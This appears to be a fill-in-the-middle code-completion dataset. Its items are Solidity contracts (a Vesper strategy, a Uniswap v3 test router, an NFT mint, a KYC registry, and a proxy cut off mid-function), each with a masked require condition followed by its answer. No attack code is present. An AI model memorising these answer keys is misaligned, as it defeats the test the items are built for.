* @param _amount Amount of collateral token
*/
function withdraw(uint256 _amount) external override onlyPool {
}
function _approveToken(uint256 _amount) internal virtual {
}
/**
* @dev some strategy may want to prepare before doing migration.
* Example In Maker old strategy want to give vault ownership to new strategy
* @param _newStrategy .
*/
function _beforeMigration(address _newStrategy) internal virtual;
function _rebalance() internal virtual returns (uint256 _profit, uint256 _loss, uint256 _payback);
function _swapExactInput(
address _tokenIn,
address _tokenOut,
uint256 _amountIn
) internal returns (uint256 _amountOut) {
}
function _safeSwapExactInput(address _tokenIn, address _tokenOut, uint256 _amountIn) internal {
}
// These methods must be implemented by the inheriting strategy
function _withdrawHere(uint256 _amount) internal virtual;
}
| _keepers.add(_keeperAddress),"add-keeper-failed" | 79,407 | _keepers.add(_keeperAddress) |
"not-valid-new-strategy" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "vesper-pools/contracts/interfaces/vesper/IVesperPool.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/token/ERC20/IERC20.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/utils/Context.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/utils/math/Math.sol";
import "vesper-commons/contracts/interfaces/vesper/IStrategy.sol";
import "../interfaces/swapper/IRoutedSwapper.sol";
abstract contract Strategy is IStrategy, Context {
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
IERC20 public immutable collateralToken;
address public receiptToken;
address public immutable override pool;
address public override feeCollector;
IRoutedSwapper public swapper;
address internal constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint256 internal constant MAX_UINT_VALUE = type(uint256).max;
EnumerableSet.AddressSet private _keepers;
event UpdatedFeeCollector(address indexed previousFeeCollector, address indexed newFeeCollector);
event UpdatedSwapper(IRoutedSwapper indexed oldSwapper, IRoutedSwapper indexed newSwapper);
constructor(address _pool, address _swapper, address _receiptToken) {
}
modifier onlyGovernor() {
}
modifier onlyKeeper() {
}
modifier onlyPool() {
}
/**
* @notice Add given address in keepers list.
* @param _keeperAddress keeper address to add.
*/
function addKeeper(address _keeperAddress) external onlyGovernor {
}
/// @dev Approve all required tokens
function approveToken(uint256 _approvalAmount) external onlyKeeper {
}
/// @notice Check whether given token is reserved or not. Reserved tokens are not allowed to sweep.
function isReservedToken(address _token) public view virtual override returns (bool);
/// @notice Return list of keepers
function keepers() external view override returns (address[] memory) {
}
/**
* @notice Migrate all asset and vault ownership,if any, to new strategy
* @dev _beforeMigration hook can be implemented in child strategy to do extra steps.
* @param _newStrategy Address of new strategy
*/
function migrate(address _newStrategy) external virtual override onlyPool {
require(_newStrategy != address(0), "new-strategy-address-is-zero");
require(<FILL_ME>)
_beforeMigration(_newStrategy);
IERC20(receiptToken).safeTransfer(_newStrategy, IERC20(receiptToken).balanceOf(address(this)));
collateralToken.safeTransfer(_newStrategy, collateralToken.balanceOf(address(this)));
}
/**
* @notice OnlyKeeper: Rebalance profit, loss and investment of this strategy.
* Calculate profit, loss and payback of this strategy and realize profit/loss and
* withdraw fund for payback, if any, and submit this report to pool.
* @return _profit Realized profit in collateral.
* @return _loss Realized loss, if any, in collateral.
* @return _payback If strategy has any excess debt, we have to liquidate asset to payback excess debt.
*/
function rebalance() external onlyKeeper returns (uint256 _profit, uint256 _loss, uint256 _payback) {
}
/**
* @notice Remove given address from keepers list.
* @param _keeperAddress keeper address to remove.
*/
function removeKeeper(address _keeperAddress) external onlyGovernor {
}
/**
* @notice sweep given token to feeCollector of strategy
* @param _fromToken token address to sweep
*/
function sweepERC20(address _fromToken) external override onlyKeeper {
}
/// @notice Returns address of token correspond to receipt token
function token() external view override returns (address) {
}
/// @notice Returns address of token correspond to collateral token
function collateral() external view override returns (address) {
}
/// @notice Returns total collateral locked in the strategy
function tvl() external view virtual returns (uint256);
/**
* @notice Update fee collector
* @param _feeCollector fee collector address
*/
function updateFeeCollector(address _feeCollector) external onlyGovernor {
}
/**
* @notice Update swapper
* @param _swapper swapper address
*/
function updateSwapper(IRoutedSwapper _swapper) external onlyGovernor {
}
/**
* @notice Withdraw collateral token from end protocol.
* @param _amount Amount of collateral token
*/
function withdraw(uint256 _amount) external override onlyPool {
}
function _approveToken(uint256 _amount) internal virtual {
}
/**
* @dev some strategy may want to prepare before doing migration.
* Example In Maker old strategy want to give vault ownership to new strategy
* @param _newStrategy .
*/
function _beforeMigration(address _newStrategy) internal virtual;
function _rebalance() internal virtual returns (uint256 _profit, uint256 _loss, uint256 _payback);
function _swapExactInput(
address _tokenIn,
address _tokenOut,
uint256 _amountIn
) internal returns (uint256 _amountOut) {
}
function _safeSwapExactInput(address _tokenIn, address _tokenOut, uint256 _amountIn) internal {
}
// These methods must be implemented by the inheriting strategy
function _withdrawHere(uint256 _amount) internal virtual;
}
| IStrategy(_newStrategy).pool()==pool,"not-valid-new-strategy" | 79,407 | IStrategy(_newStrategy).pool()==pool |
"remove-keeper-failed" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "vesper-pools/contracts/interfaces/vesper/IVesperPool.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/token/ERC20/IERC20.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/utils/Context.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/utils/math/Math.sol";
import "vesper-commons/contracts/interfaces/vesper/IStrategy.sol";
import "../interfaces/swapper/IRoutedSwapper.sol";
abstract contract Strategy is IStrategy, Context {
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
IERC20 public immutable collateralToken;
address public receiptToken;
address public immutable override pool;
address public override feeCollector;
IRoutedSwapper public swapper;
address internal constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint256 internal constant MAX_UINT_VALUE = type(uint256).max;
EnumerableSet.AddressSet private _keepers;
event UpdatedFeeCollector(address indexed previousFeeCollector, address indexed newFeeCollector);
event UpdatedSwapper(IRoutedSwapper indexed oldSwapper, IRoutedSwapper indexed newSwapper);
constructor(address _pool, address _swapper, address _receiptToken) {
}
modifier onlyGovernor() {
}
modifier onlyKeeper() {
}
modifier onlyPool() {
}
/**
* @notice Add given address in keepers list.
* @param _keeperAddress keeper address to add.
*/
function addKeeper(address _keeperAddress) external onlyGovernor {
}
/// @dev Approve all required tokens
function approveToken(uint256 _approvalAmount) external onlyKeeper {
}
/// @notice Check whether given token is reserved or not. Reserved tokens are not allowed to sweep.
function isReservedToken(address _token) public view virtual override returns (bool);
/// @notice Return list of keepers
function keepers() external view override returns (address[] memory) {
}
/**
* @notice Migrate all asset and vault ownership,if any, to new strategy
* @dev _beforeMigration hook can be implemented in child strategy to do extra steps.
* @param _newStrategy Address of new strategy
*/
function migrate(address _newStrategy) external virtual override onlyPool {
}
/**
* @notice OnlyKeeper: Rebalance profit, loss and investment of this strategy.
* Calculate profit, loss and payback of this strategy and realize profit/loss and
* withdraw fund for payback, if any, and submit this report to pool.
* @return _profit Realized profit in collateral.
* @return _loss Realized loss, if any, in collateral.
* @return _payback If strategy has any excess debt, we have to liquidate asset to payback excess debt.
*/
function rebalance() external onlyKeeper returns (uint256 _profit, uint256 _loss, uint256 _payback) {
}
/**
* @notice Remove given address from keepers list.
* @param _keeperAddress keeper address to remove.
*/
function removeKeeper(address _keeperAddress) external onlyGovernor {
require(<FILL_ME>)
}
/**
* @notice sweep given token to feeCollector of strategy
* @param _fromToken token address to sweep
*/
function sweepERC20(address _fromToken) external override onlyKeeper {
}
/// @notice Returns address of token correspond to receipt token
function token() external view override returns (address) {
}
/// @notice Returns address of token correspond to collateral token
function collateral() external view override returns (address) {
}
/// @notice Returns total collateral locked in the strategy
function tvl() external view virtual returns (uint256);
/**
* @notice Update fee collector
* @param _feeCollector fee collector address
*/
function updateFeeCollector(address _feeCollector) external onlyGovernor {
}
/**
* @notice Update swapper
* @param _swapper swapper address
*/
function updateSwapper(IRoutedSwapper _swapper) external onlyGovernor {
}
/**
* @notice Withdraw collateral token from end protocol.
* @param _amount Amount of collateral token
*/
function withdraw(uint256 _amount) external override onlyPool {
}
function _approveToken(uint256 _amount) internal virtual {
}
/**
* @dev some strategy may want to prepare before doing migration.
* Example In Maker old strategy want to give vault ownership to new strategy
* @param _newStrategy .
*/
function _beforeMigration(address _newStrategy) internal virtual;
function _rebalance() internal virtual returns (uint256 _profit, uint256 _loss, uint256 _payback);
function _swapExactInput(
address _tokenIn,
address _tokenOut,
uint256 _amountIn
) internal returns (uint256 _amountOut) {
}
function _safeSwapExactInput(address _tokenIn, address _tokenOut, uint256 _amountIn) internal {
}
// These methods must be implemented by the inheriting strategy
function _withdrawHere(uint256 _amount) internal virtual;
}
| _keepers.remove(_keeperAddress),"remove-keeper-failed" | 79,407 | _keepers.remove(_keeperAddress) |
"not-allowed-to-sweep" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "vesper-pools/contracts/interfaces/vesper/IVesperPool.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/token/ERC20/IERC20.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/utils/Context.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/utils/math/Math.sol";
import "vesper-commons/contracts/interfaces/vesper/IStrategy.sol";
import "../interfaces/swapper/IRoutedSwapper.sol";
abstract contract Strategy is IStrategy, Context {
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
IERC20 public immutable collateralToken;
address public receiptToken;
address public immutable override pool;
address public override feeCollector;
IRoutedSwapper public swapper;
address internal constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint256 internal constant MAX_UINT_VALUE = type(uint256).max;
EnumerableSet.AddressSet private _keepers;
event UpdatedFeeCollector(address indexed previousFeeCollector, address indexed newFeeCollector);
event UpdatedSwapper(IRoutedSwapper indexed oldSwapper, IRoutedSwapper indexed newSwapper);
constructor(address _pool, address _swapper, address _receiptToken) {
}
modifier onlyGovernor() {
}
modifier onlyKeeper() {
}
modifier onlyPool() {
}
/**
* @notice Add given address in keepers list.
* @param _keeperAddress keeper address to add.
*/
function addKeeper(address _keeperAddress) external onlyGovernor {
}
/// @dev Approve all required tokens
function approveToken(uint256 _approvalAmount) external onlyKeeper {
}
/// @notice Check whether given token is reserved or not. Reserved tokens are not allowed to sweep.
function isReservedToken(address _token) public view virtual override returns (bool);
/// @notice Return list of keepers
function keepers() external view override returns (address[] memory) {
}
/**
* @notice Migrate all asset and vault ownership,if any, to new strategy
* @dev _beforeMigration hook can be implemented in child strategy to do extra steps.
* @param _newStrategy Address of new strategy
*/
function migrate(address _newStrategy) external virtual override onlyPool {
}
/**
* @notice OnlyKeeper: Rebalance profit, loss and investment of this strategy.
* Calculate profit, loss and payback of this strategy and realize profit/loss and
* withdraw fund for payback, if any, and submit this report to pool.
* @return _profit Realized profit in collateral.
* @return _loss Realized loss, if any, in collateral.
* @return _payback If strategy has any excess debt, we have to liquidate asset to payback excess debt.
*/
function rebalance() external onlyKeeper returns (uint256 _profit, uint256 _loss, uint256 _payback) {
}
/**
* @notice Remove given address from keepers list.
* @param _keeperAddress keeper address to remove.
*/
function removeKeeper(address _keeperAddress) external onlyGovernor {
}
/**
* @notice sweep given token to feeCollector of strategy
* @param _fromToken token address to sweep
*/
function sweepERC20(address _fromToken) external override onlyKeeper {
require(feeCollector != address(0), "fee-collector-not-set");
require(_fromToken != address(collateralToken), "not-allowed-to-sweep-collateral");
require(<FILL_ME>)
if (_fromToken == ETH) {
Address.sendValue(payable(feeCollector), address(this).balance);
} else {
uint256 _amount = IERC20(_fromToken).balanceOf(address(this));
IERC20(_fromToken).safeTransfer(feeCollector, _amount);
}
}
/// @notice Returns address of token correspond to receipt token
function token() external view override returns (address) {
}
/// @notice Returns address of token correspond to collateral token
function collateral() external view override returns (address) {
}
/// @notice Returns total collateral locked in the strategy
function tvl() external view virtual returns (uint256);
/**
* @notice Update fee collector
* @param _feeCollector fee collector address
*/
function updateFeeCollector(address _feeCollector) external onlyGovernor {
}
/**
* @notice Update swapper
* @param _swapper swapper address
*/
function updateSwapper(IRoutedSwapper _swapper) external onlyGovernor {
}
/**
* @notice Withdraw collateral token from end protocol.
* @param _amount Amount of collateral token
*/
function withdraw(uint256 _amount) external override onlyPool {
}
function _approveToken(uint256 _amount) internal virtual {
}
/**
* @dev some strategy may want to prepare before doing migration.
* Example In Maker old strategy want to give vault ownership to new strategy
* @param _newStrategy .
*/
function _beforeMigration(address _newStrategy) internal virtual;
function _rebalance() internal virtual returns (uint256 _profit, uint256 _loss, uint256 _payback);
function _swapExactInput(
address _tokenIn,
address _tokenOut,
uint256 _amountIn
) internal returns (uint256 _amountOut) {
}
function _safeSwapExactInput(address _tokenIn, address _tokenOut, uint256 _amountIn) internal {
}
// These methods must be implemented by the inheriting strategy
function _withdrawHere(uint256 _amount) internal virtual;
}
| !isReservedToken(_fromToken),"not-allowed-to-sweep" | 79,407 | !isReservedToken(_fromToken) |
"swapper-address-is-zero" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "vesper-pools/contracts/interfaces/vesper/IVesperPool.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/token/ERC20/IERC20.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/utils/Context.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/utils/math/Math.sol";
import "vesper-commons/contracts/interfaces/vesper/IStrategy.sol";
import "../interfaces/swapper/IRoutedSwapper.sol";
abstract contract Strategy is IStrategy, Context {
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
IERC20 public immutable collateralToken;
address public receiptToken;
address public immutable override pool;
address public override feeCollector;
IRoutedSwapper public swapper;
address internal constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint256 internal constant MAX_UINT_VALUE = type(uint256).max;
EnumerableSet.AddressSet private _keepers;
event UpdatedFeeCollector(address indexed previousFeeCollector, address indexed newFeeCollector);
event UpdatedSwapper(IRoutedSwapper indexed oldSwapper, IRoutedSwapper indexed newSwapper);
constructor(address _pool, address _swapper, address _receiptToken) {
}
modifier onlyGovernor() {
}
modifier onlyKeeper() {
}
modifier onlyPool() {
}
/**
* @notice Add given address in keepers list.
* @param _keeperAddress keeper address to add.
*/
function addKeeper(address _keeperAddress) external onlyGovernor {
}
/// @dev Approve all required tokens
function approveToken(uint256 _approvalAmount) external onlyKeeper {
}
/// @notice Check whether given token is reserved or not. Reserved tokens are not allowed to sweep.
function isReservedToken(address _token) public view virtual override returns (bool);
/// @notice Return list of keepers
function keepers() external view override returns (address[] memory) {
}
/**
* @notice Migrate all asset and vault ownership,if any, to new strategy
* @dev _beforeMigration hook can be implemented in child strategy to do extra steps.
* @param _newStrategy Address of new strategy
*/
function migrate(address _newStrategy) external virtual override onlyPool {
}
/**
* @notice OnlyKeeper: Rebalance profit, loss and investment of this strategy.
* Calculate profit, loss and payback of this strategy and realize profit/loss and
* withdraw fund for payback, if any, and submit this report to pool.
* @return _profit Realized profit in collateral.
* @return _loss Realized loss, if any, in collateral.
* @return _payback If strategy has any excess debt, we have to liquidate asset to payback excess debt.
*/
function rebalance() external onlyKeeper returns (uint256 _profit, uint256 _loss, uint256 _payback) {
}
/**
* @notice Remove given address from keepers list.
* @param _keeperAddress keeper address to remove.
*/
function removeKeeper(address _keeperAddress) external onlyGovernor {
}
/**
* @notice sweep given token to feeCollector of strategy
* @param _fromToken token address to sweep
*/
function sweepERC20(address _fromToken) external override onlyKeeper {
}
/// @notice Returns address of token correspond to receipt token
function token() external view override returns (address) {
}
/// @notice Returns address of token correspond to collateral token
function collateral() external view override returns (address) {
}
/// @notice Returns total collateral locked in the strategy
function tvl() external view virtual returns (uint256);
/**
* @notice Update fee collector
* @param _feeCollector fee collector address
*/
function updateFeeCollector(address _feeCollector) external onlyGovernor {
}
/**
* @notice Update swapper
* @param _swapper swapper address
*/
function updateSwapper(IRoutedSwapper _swapper) external onlyGovernor {
require(<FILL_ME>)
require(_swapper != swapper, "swapper-is-same");
emit UpdatedSwapper(swapper, _swapper);
swapper = _swapper;
}
/**
* @notice Withdraw collateral token from end protocol.
* @param _amount Amount of collateral token
*/
function withdraw(uint256 _amount) external override onlyPool {
}
function _approveToken(uint256 _amount) internal virtual {
}
/**
* @dev some strategy may want to prepare before doing migration.
* Example In Maker old strategy want to give vault ownership to new strategy
* @param _newStrategy .
*/
function _beforeMigration(address _newStrategy) internal virtual;
function _rebalance() internal virtual returns (uint256 _profit, uint256 _loss, uint256 _payback);
function _swapExactInput(
address _tokenIn,
address _tokenOut,
uint256 _amountIn
) internal returns (uint256 _amountOut) {
}
function _safeSwapExactInput(address _tokenIn, address _tokenOut, uint256 _amountIn) internal {
}
// These methods must be implemented by the inheriting strategy
function _withdrawHere(uint256 _amount) internal virtual;
}
| address(_swapper)!=address(0),"swapper-address-is-zero" | 79,407 | address(_swapper)!=address(0) |
"tickLower must be a multiple of tickSpacing" | // SPDX-License-Identifier: Unlicense
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import "@uniswap/v3-core/contracts/interfaces/callback/IUniswapV3MintCallback.sol";
import "@uniswap/v3-core/contracts/interfaces/callback/IUniswapV3SwapCallback.sol";
import "@uniswap/v3-core/contracts/libraries/TickMath.sol";
/**
* @title TestRouter
* @dev DO NOT USE IN PRODUCTION. This is only intended to be used for
* tests and lacks slippage and callback caller checks.
*/
contract TestRouter is IUniswapV3MintCallback, IUniswapV3SwapCallback {
using SafeERC20 for IERC20;
function mint(
IUniswapV3Pool pool,
int24 tickLower,
int24 tickUpper,
uint128 amount
) external returns (uint256, uint256) {
int24 tickSpacing = pool.tickSpacing();
require(<FILL_ME>)
require(tickUpper % tickSpacing == 0, "tickUpper must be a multiple of tickSpacing");
return pool.mint(msg.sender, tickLower, tickUpper, amount, abi.encode(msg.sender));
}
function swap(
IUniswapV3Pool pool,
bool zeroForOne,
int256 amountSpecified
) external returns (int256, int256) {
}
function uniswapV3MintCallback(
uint256 amount0Owed,
uint256 amount1Owed,
bytes calldata data
) external override {
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata data
) external override {
}
function _callback(
uint256 amount0,
uint256 amount1,
bytes calldata data
) internal {
}
}
| tickLower%tickSpacing==0,"tickLower must be a multiple of tickSpacing" | 79,501 | tickLower%tickSpacing==0 |
"tickUpper must be a multiple of tickSpacing" | // SPDX-License-Identifier: Unlicense
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import "@uniswap/v3-core/contracts/interfaces/callback/IUniswapV3MintCallback.sol";
import "@uniswap/v3-core/contracts/interfaces/callback/IUniswapV3SwapCallback.sol";
import "@uniswap/v3-core/contracts/libraries/TickMath.sol";
/**
* @title TestRouter
* @dev DO NOT USE IN PRODUCTION. This is only intended to be used for
* tests and lacks slippage and callback caller checks.
*/
contract TestRouter is IUniswapV3MintCallback, IUniswapV3SwapCallback {
using SafeERC20 for IERC20;
function mint(
IUniswapV3Pool pool,
int24 tickLower,
int24 tickUpper,
uint128 amount
) external returns (uint256, uint256) {
int24 tickSpacing = pool.tickSpacing();
require(tickLower % tickSpacing == 0, "tickLower must be a multiple of tickSpacing");
require(<FILL_ME>)
return pool.mint(msg.sender, tickLower, tickUpper, amount, abi.encode(msg.sender));
}
function swap(
IUniswapV3Pool pool,
bool zeroForOne,
int256 amountSpecified
) external returns (int256, int256) {
}
function uniswapV3MintCallback(
uint256 amount0Owed,
uint256 amount1Owed,
bytes calldata data
) external override {
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata data
) external override {
}
function _callback(
uint256 amount0,
uint256 amount1,
bytes calldata data
) internal {
}
}
| tickUpper%tickSpacing==0,"tickUpper must be a multiple of tickSpacing" | 79,501 | tickUpper%tickSpacing==0 |
"Not a part of Farmlist" | pragma solidity ^0.8.19;
contract PointFarmors is Ownable, ERC721A, DefaultOperatorFilterer {
bytes32 public rootFM;
uint256 public constant MAX_SUPPLY = 3333;
uint256 public constant MAX_MINT_PER_WALLET_FARMLIST = 40;
uint256 public constant MAX_MINT_PER_WALLET_PUBLIC = 40;
uint256 public FREE_MINTS_FARMLIST_THRESHOLD = 4;
uint256 public FREE_MINTS_PUBLIC_THRESHOLD = 2;
uint256 public priceFarm = 0.003 ether;
uint256 public pricePub = 0.004 ether;
mapping(address => uint256) public FREEFARM;
mapping(address => uint256) public FREEPUB;
string private baseTokenURI;
bool public stateFM;
bool public statePub;
string private hiddenMetadataUri;
bool public revealStarted = false;
address receiver1;
constructor(address receiver1_) ERC721A("Point Farmors", "PF") {
}
function checkTokenURIs()
external
view
returns (string memory hiddenuri, string memory uri)
{
}
function checkTokenURIActive() external view returns (string memory uri) {
}
function setRootFM(bytes32 _rootFM) external onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri)
external
onlyOwner
{
}
function setBaseTokenURI(string memory _baseTokenURI) external onlyOwner {
}
function mintFarmlist(uint256 amount, bytes32[] memory proof)
external
payable
{
// require(msg.sender == tx.origin, "No smart contract");
require(stateFM, "Farmlist sale is inactive");
require(<FILL_ME>)
require(
totalSupply() + amount <= MAX_SUPPLY,
"Whole farm is already here"
);
require(MAX_MINT_PER_WALLET_FARMLIST >= amount, "Exceed max per tx");
require(
MAX_MINT_PER_WALLET_FARMLIST >= FREEFARM[msg.sender] + amount,
"Exceed max per address"
);
uint256 amountForPay = amount;
if (FREEFARM[msg.sender] < FREE_MINTS_FARMLIST_THRESHOLD) {
if (amountForPay >= FREE_MINTS_FARMLIST_THRESHOLD) {
amountForPay -=
FREE_MINTS_FARMLIST_THRESHOLD -
FREEFARM[msg.sender];
} else {
amountForPay = 0;
}
}
require(msg.value >= priceFarm * amountForPay, "Insufficient funds!");
FREEFARM[msg.sender] += amount;
_safeMint(msg.sender, amount);
}
function mintPub(uint256 amount) external payable {
}
function isValidFM(bytes32[] memory proof, bytes32 leaf)
public
view
returns (bool)
{
}
function ownerMint(uint256 amount, address to) external onlyOwner {
}
function setMintStatus(bool stateFM_, bool statePub_) external onlyOwner {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function startReveal(bool _state) public onlyOwner {
}
function setPrice(uint256 pricePub_) external onlyOwner {
}
function setFreeMintsThresholds(uint256 newFarmlistThreshold, uint256 newPublicThreshold)
external
onlyOwner
{
}
function withdraw() external onlyOwner {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override(ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override(ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override(ERC721A) onlyAllowedOperator(from) {
}
function checkMintStatus()
public
view
returns (bool stateFM_, bool statePub_)
{
}
function checkReceiver() public view returns (address rec1) {
}
function _startTokenId() internal pure override returns (uint256) {
}
function _baseURI() internal view override returns (string memory) {
}
}
| isValidFM(proof,keccak256(abi.encodePacked(msg.sender))),"Not a part of Farmlist" | 79,511 | isValidFM(proof,keccak256(abi.encodePacked(msg.sender))) |
'Sender Is Not Authorized' | /**
*Submitted for verification at Etherscan.io on 2023-12-01
*/
//SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.14;
interface IKYCVerification {
/**
Returns true if `user` has passed KYC Verification and has been verified by contract owner
Returns false if `user` has not passed KYC Verification, or has not yet been verified by contract owner
@param user - Address corresponding to a Person who may or may not have passed KYC Verification
@return bool - Returns true if `user` is KYC verified, false otherwise
*/
function isVerified(address user) external view returns (bool);
/**
Validates that the hashed value for `information` - the KYC Information - of `User`
Matches what is stored on chain. This function can be used to ensure that off-chain data
has not been manipulated or altered in any way
@param user - Address corresponding to a person who may or may not have passed KYC Verification
@param information - Stringified KYC Information for `user`
@return bool - Returns true if hashed `information` matches what is stored on-chain for `user`
*/
function validate(address user, string calldata information) external view returns (bool);
/**
Validates that `hashedData` ( the hashed KYC Information of `User` )
Matches what is stored on chain. This function can be used to ensure that off-chain data
has not been manipulated or altered in any way
@param user - Address corresponding to a person who may or may not have passed KYC Verification
@param hashedData - Hashed version of KYC Information for `user`
@return bool - Returns true if `hashedData` matches what is stored on-chain for `user`
*/
function validateHash(address user, bytes32 hashedData) external view returns (bool);
/**
Returns the hash of a given input string. Should be used to determine the hash of
KYC Information from registered users, prior to calling the `verify()` function
@param information - KYC Information
@return bytes32 - Hashed bytes of `information`
*/
function getHash(string calldata information) external view returns (bytes32);
}
interface IDatabase {
function isAuthorized(address account) external view returns (bool);
}
/**
@title KYC Verification Contract
Manages Storing and Validating Users Who Have Passed The KYC Audit Process
Allows External Contracts To Query User's Verification Status
To Prevent Use From Users Who Have Not Yet Been Verified To Use Them
This Contract, If Used Appropriately, Will Allow The Owners To Follow
Proper Legal Guidelines In Accordance With SEC Rules And Regulations
*/
contract KYCVerify is IKYCVerification {
/**
Stores the mapping of each registered `user` address
And the corresponding hash of the KYC data entered off chain
Use the `getHash()` function to convert a string of KYC data
Into a bytes32 hash prior to calling `verify()` to ensure the data matches
`validate()` can be called to ensure that the KYC data stored off chain
Has not been altered in any way by comparing the hash of the stored data
To the hash stored on chain
`isVerified()` can be called by any smart contract to ensure only addresses
corresponding to users who are KYC Verified are able to interact with the Platform
*/
mapping ( address => bytes32 ) private hashMap;
/**
Master Database Which Interacts With Auth And KYC Databases
*/
IDatabase public immutable Database;
/**
Modifier To Ensure Only Authorized Addresses May Set Verification Status In This Contract
If `Database.isAuthorized(msg.sender)` returns false, Transaction execution is reverted
*/
modifier onlyOwner() {
require(<FILL_ME>)
_;
}
event Verified(address user);
/**
Initialize Database
*/
constructor(address DB) {
}
/**
Verifies that the address corresponding to `user` has been KYC'd
Stores the hash of the KYC information on-chain to ensure that the data
has not been altered off-chain.
This function will grant access to the address corresponding to `user`
to interact with restricted contracts that ensure `isVerified()` returns true
before allowing for contract interactions to occur.
To ensure the hash stored on-chain matches the data stored off-chain
Call `getHash()` on the off-chain data and pass the resulting bytes32 output into `verify()`
This will ensure small issues like spacing and capitalization are accounted for and will not cause hashes to mismatch
This function should only be called once the user has passed the KYC Verification Process
And the operator of this contract is positive the data they provided matches their identity
This is a dangerous function if misused. Calling verify with a non-zero input for
`hashedData` will cause every interacting contract to assume `user` is now KYC Verified.
Likewise, calling verify with a zero input for `hashedData` will cause every interacting
contract to assume `user` is no longer KYC Verified.
Ensure the keys which operate this contract are safely kept to prevent manipulation
Locking contract ownership behind a Multi Signature Wallet owned by Company Executives
Is the safest way to ensure data is preserved and KYC is enforced.
@param user - Address corresponding to a Person who has passed KYC Verification
@param hashedData - Hashed KYC Data Of User, To Ensure Data stored off-chain is accurate
*/
function verify(address user, bytes32 hashedData) external onlyOwner {
}
/**
Returns true if `user` has passed KYC Verification and has been verified by contract owner
Returns false if `user` has not passed KYC Verification, or has not yet been verified by contract owner
@param user - Address corresponding to a Person who may or may not have passed KYC Verification
@return bool - Returns true if `user` is KYC verified, false otherwise
*/
function isVerified(address user) external view override returns (bool) {
}
/**
Validates that the hashed value for `information` - the KYC Information - of `User`
Matches what is stored on chain. This function can be used to ensure that off-chain data
has not been manipulated or altered in any way
@param user - Address corresponding to a person who may or may not have passed KYC Verification
@param information - Stringified KYC Information for `user`
@return bool - Returns true if hashed `information` matches what is stored on-chain for `user`
*/
function validate(address user, string calldata information) external view override returns (bool) {
}
/**
Validates that `hashedData` ( the hashed KYC Information of `User` )
Matches what is stored on chain. This function can be used to ensure that off-chain data
has not been manipulated or altered in any way
@param user - Address corresponding to a person who may or may not have passed KYC Verification
@param hashedData - Hashed version of KYC Information for `user`
@return bool - Returns true if `hashedData` matches what is stored on-chain for `user`
*/
function validateHash(address user, bytes32 hashedData) external view override returns (bool) {
}
/**
Returns the hash of a given input string. Should be used to determine the hash of
KYC Information from registered users, prior to calling the `verify()` function
@param information - KYC Information
@return bytes32 - Hashed bytes of `information`
*/
function getHash(string calldata information) external pure override returns (bytes32) {
}
}
| Database.isAuthorized(msg.sender),'Sender Is Not Authorized' | 79,532 | Database.isAuthorized(msg.sender) |
null | pragma solidity 0.4.24;
import "../common/IsContract.sol";
import "../lib/misc/ERCProxy.sol";
contract DelegateProxy is ERCProxy, IsContract {
uint256 internal constant FWD_GAS_LIMIT = 10000;
/**
* @dev Performs a delegatecall and returns whatever the delegatecall returned (entire context execution will return!)
* @param _dst Destination address to perform the delegatecall
* @param _calldata Calldata for the delegatecall
*/
function delegatedFwd(address _dst, bytes _calldata) internal {
require(<FILL_ME>)
uint256 fwdGasLimit = FWD_GAS_LIMIT;
assembly {
